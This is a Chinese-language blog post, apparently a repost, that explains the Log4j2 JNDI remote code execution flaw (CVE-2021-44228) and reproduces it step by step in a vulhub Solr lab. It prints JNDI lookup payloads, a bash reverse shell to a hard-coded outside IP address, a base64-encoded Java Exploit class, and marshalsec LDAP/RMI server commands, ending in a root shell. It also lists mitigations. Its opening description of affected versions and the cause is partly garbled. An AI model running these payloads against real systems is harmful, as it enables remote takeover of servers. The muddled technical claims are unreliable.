log4j2远程代码执行漏洞原理

admin 2024年5月13日01:19:18评论13 views字数 2421阅读8分4秒阅读模式

由于微信公众号推送机制改变了,快来星标不再迷路,谢谢大家!

log4j2远程代码执行漏洞原理

log4j2漏洞原理?

CVE-2021-44228,简称:log4j2,利用漏洞可以执行任意命令。该漏洞影响所有 log4j2 受影响的版本,包括 2.x 到 2.15.0。这个漏洞利用了一个缺陷,允许攻击者以 root 权限执行任意命令。log4j2 的核心代码存在一个漏洞,导致它在加载插件时未正确验证插件是否来自受信任的来源。这使得攻击者可以通过构建恶意插件来绕过信任检查,从而执行任意命令。

Log4j2组件中 lookup功能的实现类 JndiLookup 的设计缺陷导致,启动一个JNDI服务,通过rmi,在rmi的工厂中注册一个恶意实例,使用lookup远程加载导致RCE
${jndi:ldap://log4j.voxxaq.dnslog.cn}
特征:${jndi:rmi
判断主机,一定会有一个RMI的恶意流量
无回显的时候如何判断攻击成功:看看主机是否加载恶意类,看看受害主机有没有回连恶意地址

解决方案:

升级到最新版
在防火墙设置中,禁止应用服务访问常规应用以外的ip地址
其他版本,删除JndiLookup类:zip -q -d log4j-core-*.jar org/apache/logging/log4j/core/lookup/JndiLookup.class

环境 & 工具

环境:kali + docker 部署 vulhub靶场

复现:jdk 1.8 + python + marshalsec

http://www.dnslog.cn #dnslog检测
https://ares-x.com/tools/runtime-exec #可以对命令进行编写

环境搭建:

进入vulhub 靶场 找到log4j2目录

log4j2远程代码执行漏洞原理

启动docker

docker-compose up –d

log4j2远程代码执行漏洞原理

访问查看

log4j2远程代码执行漏洞原理

没问题

dnslog测试漏洞:

进入:

http://www.dnslog.cn   #生成个接受的链接

log4j2远程代码执行漏洞原理

测试注入点:

http://127.0.0.1:8983/solr/admin/cores?action=${jndi:ldap://${sys:java.version}.3avw73.dnslog.cn} 
#验证漏洞并查看java版本

log4j2远程代码执行漏洞原理

ok 接着查看 dnsl平台 刷新一下

log4j2远程代码执行漏洞原理

发现有 回显 并且包含jdk 1.8

测试完成!开始漏洞利用

反弹shell

反弹shell 由于前面我们测试过了 可以通以ldap即我们可以通过远程类加载实现反弹shell

bash -i >& /dev/tcp/43.140.204.207/6666 0>&1 #6666为端口号

进行base编码

https://ares-x.com/tools/runtime-exec #这个貌似需要梯子

这个图片有一点点问题哪个端头是7777

log4j2远程代码执行漏洞原理

写 Exploit

import java.lang.Runtime;
import java.lang.Process;
public class Exploit {
public Exploit(){
try{
Runtime.getRuntime().exec("bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC80My4xNDAuMjA0LjIwNy83Nzc3IDA+JjE=}|{base64,-d}|{bash,-i}");
}catch(Exception e){
e.printStackTrace();
}
}
public static void main(String[] argv){
Exploit e = new Exploit();
}
}
javac Exploit.java   #生成class文件

启动httpf服务:生成 .class 目录下

python -m http.server 1234

log4j2远程代码执行漏洞原理

log4j2远程代码执行漏洞原理

发现是有这两个文件的 然后 我们以这个http起一个 LDAP服务

起这个服务需用到:marshalse

marshalsec使用教程

cd marshalsec/target/ #进入这个目录
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer http://127.0.0.1/test#Exploit 3333 RMI服务
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer http://127.0.0.1/test#Exploit 3333 LDAP服务
//http://127.0.0.1:80 指http服务地址,Exploit代表Exploit.class文件 3333 指rmi/ldap服务的端口

先进入

log4j2远程代码执行漏洞原理

启动LDAP服务

java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer  "http://172.24.56.44:1234/#Exploit" 1203

log4j2远程代码执行漏洞原理

然后将自己起攻击的服务器开始监听该端口

log4j2远程代码执行漏洞原理

ok 开始打playload

http://127.0.0.1:8983/solr/admin/cores?action=${jndi:ldap://172.24.45.44:1203/Exploit}
#这个是get传参不用管了 直接回车就行 没必要抓包

log4j2远程代码执行漏洞原理

成功反弹shell并有root权限

再看一下 http 和LDAP服务

log4j2远程代码执行漏洞原理

log4j2远程代码执行漏洞原理

看到两个同时响应

至此 log4j2漏洞复现 完成

总结

总结一下:log4j2漏洞刚出现时可谓是危害嘎嘎大 不过现在也感觉以后找工作像这种 可能也是HR必问项吧

防御:这个应该说比较简单开头也提了 一些 禁止陌生ip 上WAF 对包含有"jndi:ldap://"、"jndi:rmi//"这样字符串的请求进行拦截 。。。及时更新版本 。。。

原文地址: https://www.freebuf.com/vuls/377598.html


原文始发于微信公众号(渗透安全团队):log4j2远程代码执行漏洞原理

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年5月13日01:19:18
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   log4j2远程代码执行漏洞原理http://cn-sec.com/archives/2077327.html

发表评论

匿名网友 填写信息